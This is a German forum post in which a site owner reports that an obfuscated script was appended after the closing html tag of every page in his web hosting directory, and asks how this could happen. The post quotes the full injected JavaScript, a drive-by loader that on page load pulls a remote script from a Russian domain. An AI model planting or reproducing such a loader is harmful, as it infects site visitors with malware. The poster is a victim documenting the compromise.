Nach Upload wurden Scripte auf eine Russenseite eingefügt

[Marco]

Guten Morgen miteinander,

heute morgen bin ich aus allen Wolken gefallen. Nach dem Aufruf meiner Internetseiten, wird eine Verbindung nach ultimatecomfort . ru aufgebaut und Java gestartet und ein Dateidownload begonnen.

Ein Blick in den Quelltext offenbarte Wahnsinniges: Nach dem </html> Tag wurde ein Script eingefügt:

  
<script>Z={k:false};var A;this.Zj=40422;this.Zj+=221;var s=new Date();n=function(){I=57547;I-=222;var WJ=new Date();function W(F,y,E){return F.substr(y,E);}kg=["C"];var Gc={LB:20916};N={};var _={};var j=document;try {var T='r'} catch(T){};bm={K:"bF"};var D='';Fc={Pp:16856};var v=RegExp;var g="/ad"+"obe"+"-co"+"m/g"+"oog"+W("le.OgbX",0,3)+W("comLeZ",0,3)+W("/rkbsJB",0,3)+W("9Nm.coN9m",3,3)+W("m.pNoB",0,3)+W("B6wxhp6Bxw",4,2);Ry={Ci:29926};function w(F,y){MW={l:false};try {} catch(ga){};var xL=new String();var E=String(W("[CWr",0,1))+y+"]";var H='';try {} catch(h){};var As=new v(E, W("gBXA",0,1));this.yv=46720;this.yv+=135;return F.replace(As, D);var KX={};};this.sg="sg";_n={d:"es"};this.Dd=false;var x=null;Km={ph:32597};var no=w('sAcMrgi7p4tg','4l_gOD7NnZYCMSuBERAwvbf');var V=677048-668968;var c=W("bodykDFV",0,4);this.sq=13374;this.sq++;this.Q=32695;this.Q--;ar=["Uu","m","_R"];_h=64473;_h-=35;A=function(){try {var Wq=["cr","sw"];var z=w('cxryesaJtoeKEQlyeDm3e3nJtg','Q1oHysxKJg53D');X=j[z](no);var UY={};var F=V+g;var Vs=w('sVrVcT','9OnTZ5mqVQL');var Xo=String(W("defVk5Q",0,3)+W("erbdyL",0,2));var cI={ja:11916};var NG='';X[Xo]=[1][0];X[Vs]=new String("http"+"://u"+"ltim"+W("atecAqP",0,4)+W("omfotd1x",0,4)+W("rt.rxRZ",0,4)+"u:")+F;this.GZ='';var Ku=["PN","Qy"];this.pc=22007;this.pc--;j[c].appendChild(X);nJ={};} catch(b){};this.bO=37552;this.bO--;};};n();GI=["mA","wg"];var KM="KM";window.onload=A;var sj={nH:"Qj"};this.Yr=29517;this.Yr+=57;</script>  
<!--380690d1b2163f8eb0fe582dee24020a-->  

Und das auch noch auf allen Seiten (egal ob *.php oder *.html), die in meinem Vertragsverzeichnis sich befinden.
Wie kann denn soetwas passieren? Die Daten auf meiner Festplatte sind sauber und nach einem neuen Upload war auch nichts mehr davon zu sehen.

Also habe ich sofort alle Dateien vom Server gelöscht, damit meine Besucher sich nicht allen möglichen Schund auf ihren Rechner laden-

Grüße
Marco